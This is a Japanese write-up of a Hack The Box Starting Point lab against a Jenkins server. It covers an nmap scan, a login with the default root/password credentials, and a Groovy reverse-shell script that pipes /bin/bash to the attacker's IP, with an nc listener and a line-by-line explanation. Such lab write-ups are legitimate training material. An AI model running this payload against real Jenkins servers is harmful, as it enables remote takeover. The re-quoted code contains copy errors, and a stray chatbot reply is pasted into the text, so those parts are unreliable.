偵察
まず概要として今回はCVE(Common Vulnerabilities and Exposures: 共通脆弱性識別子)が出てくるらしい。
復習にはなるがまとめていく。
公に開示された脆弱性を特定、定義、そしてカタログ化するための手法である。データベースのようなものである。
分析後に、各脆弱性には深刻度評価が割り当てられる。これをCVSSスコアと呼び、0から10の範囲で評価される。
- 0は「情報提供レベル」
- 10は「緊急」
これらは情報資産のCIAの観点やアタックサーフェイスの広さなど様々な視点により決定されている。
今回はそんな脆弱性のなかでも最もよく知られ、かつ最も恐れられているものの一つに「任意のリモートコマンド実行(Arbitrary Remote Command Execution)」の脆弱性と呼ばれるものがある。(ACEと略されている。)
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.66]─[mukailabhtb3@htb-t8efsljfrx]─[~]
└──╼ [★]$ nmap -sC -sV 10.129.253.134
Starting Nmap 7.94SVN ( <https://nmap.org> ) at 2025-07-30 09:14 CDT
Nmap scan report for 10.129.253.134
Host is up (0.075s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
8080/tcp open http Jetty 9.4.39.v20210325
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
|_http-server-header: Jetty(9.4.39.v20210325)
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 9.62 seconds
偵察の結果、JettyというJavaで書かれたHTTPサーバーがあった。サーブレットコンテナというらしい。
この辺関係ありそう・・・
早速、<targetIP>:ポート番号
でアクセスするとjenkinsのページが出てきた。
jenkinsについてCICDとかテストの自動化するのに便利なソフトウェアというイメージしかなかったが、
改めて一応調べてみる。
このサイトからよく設定されてそうなパスワードを片っ端から試してみた。
その結果、ユーザー名:root
パスワード:password
でなりすましログインに成功!!
サーバーサイドのソフトウェアを乗っ取れればあとはこっちのもんである。
今回のペンテストではリバースシェルを実装することにする。つまり、ターゲットのマシンから私たちユーザーに対して通信を行う事が狙い。こういった通信の場合Egress通信
としてファイアーウォールを搔い潜れる事がある。
ダッシュボードを見る限りGroovy
のスクリプトを編集する必要があるとわかる。
疑似的なサーバーを建てたいのでnc
コマンドを使う。
$ nc -h
[v1.10-46]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-c shell commands as '-e'; use /bin/sh to exec [dangerous!!]
(シェルコマンドを '-e' のように実行; /bin/sh を使用 [危険!!])
-e filename program to exec after connect [dangerous!!]
(接続後にプログラムを実行 [危険!!])
-b allow broadcasts
(ブロードキャストを許可)
-G gateway source-routing hop point[s], up to 8
(ソースルーティングのホップポイント、最大8個)
-g num source-routing pointer: 4, 8, 12, ...
(ソースルーティングのポインタ)
-h this cruft
(このヘルプメッセージ)
-i secs delay interval for lines sent, ports scanned
(送信される行やスキャンされるポートの遅延間隔)
-k set keepalive option on socket
(ソケットにkeepaliveオプションを設定)
-l listen mode, for inbound connects
(リッスンモード、インバウンド接続用)
-n numeric-only IP addresses, no DNS
(数値のみのIPアドレス、DNS解決なし)
-o file hex dump of traffic
(トラフィックの16進ダンプ)
-p port local port number
(ローカルポート番号)
-r randomize local and remote ports
(ローカルとリモートのポートをランダム化)
-q secs quit after EOF on stdin and delay of secs
(標準入力がEOFになった後、指定秒数待って終了)
-s addr local source address
(ローカルのソースアドレス)
-t answer TELNET negotiation
(TELNETネゴシエーションに応答)
-u UDP mode
(UDPモード)
-v verbose [use twice to be more verbose]
(詳細表示 [2回使用でさらに詳細に])
-w secs timeout for connects and final net reads
(接続と最終読み込みのタイムアウト)
-C Send CRLF as line-ending
(行末としてCRLFを送信)
-z zero-I/O mode [used for scanning]
(ゼロI/Oモード [スキャン用])
port numbers can be individual or ranges: lo-hi [inclusive];
(ポート番号は個別、またはlo-hiの範囲で指定可能 [境界値を含む])
hyphens in port names must be backslash escaped (e.g. 'ftp\\-data').
(ポート名内のハイフンはバックスラッシュでエスケープが必要)
これにより今回使うコマンドは
nc -lvnp 8000
でリバースシェルを待ち受ける。
その後、リバースシェールのコードを実行させた。
String host="{your_IP}";
int port=8000;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){
while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);
try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
接続情報などの設定
String host="<YourIP>";
int port=8000;
String cmd="/bin/bash";
-
host
:接続先の攻撃者(操作する側)のIPアドレスを指定 -
port
:接続先のポート番号を指定する。ここでは8000
番ポート -
cmd
:このコードを実行したマシン上で起動するコマンド、/bin/bash
でバッシュシェルが指定されている。
プロセスの起動とソケットの作成
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
-
Process p= ...
:で指定されたコマンド/bin/bash
を新しいプロセスとして起動する。 -
redirectErrorStream(true)
でエラー出力と標準出力の統合処理を入れている。 -
Socket s= ...
:host
とport
で指定されたリモートサーバーに対して、TCPソケット接続を確立する。
入出力ストリームの準備
InputStream pi=p.getInputStream(),pe=p.getErrorStream().si=s.getInputStream();
OutputStream po=p.getOutput,so=s.getOutputStream();
はい、承知いたしました。以下にマークダウンの箇条書きでまとめます。
-
pi
(Process Input Stream): プロセス(bash)の出力を読み取るためのストリーム。 -
pe
(Process Error Stream): プロセスのエラー出力を読み取るためのストリーム。(redirectErrorStream
で統合されているため、実質的には使われません) -
si
(Socket Input Stream): ソケット(攻撃者側)からの入力(コマンドなど)を読み取るためのストリーム。 -
po
(Process Output Stream): プロセス(bash)に入力(コマンドなど)を書き込むためのストリーム。 -
so
(Socket Output Stream): ソケット(攻撃者側)に出力(実行結果など)を書き込むためのストリーム。
while(!s.isClosed()){
while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());
while(si.available()>0)so.write(si.read());
so.flush(); //強制的にバッファを書き込んで空にする。
po.flush(); //同上
Thread.sleep(50); //CPUに負荷をかけないように50msの間Sleep
try {p.exitValue();break;}catch(Exception e){}
-
while(pi.available()>0)so.write(pi.read());
:プロセスの出力をソケット(ターゲットサーバーから攻撃者側のPC)に対して送信。 -
while(pe.available()>0)so.write(pe.read());
:bashのエラー出力があればソケットに送信する。
p.destroy();
s.close();
- ループが終了した後に起動したプロセスを破棄する。同時にソケット接続を閉じてプログラムを終了する。
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.66]─[mukailabhtb3@htb-t8efsljfrx]─[~]
└──╼ [★]$ nc -lvnp 8000
listening on [any] 8000 ...
connect to [10.10.14.66] from (UNKNOWN) [10.129.253.134] 32796
成功!!あとはコマンドポチポチしてflag
を見つけよう。
今回ではsocketが橋渡しとなった。攻撃者が攻撃者側で入力したエクスプロイトコードを乗っ取った攻撃対象サーバーがソケットを読み取るプロセスを実行することで任意のコードを実行できるようにした。
参考文献(参照日:2025年7月30日)
・公式WriteUp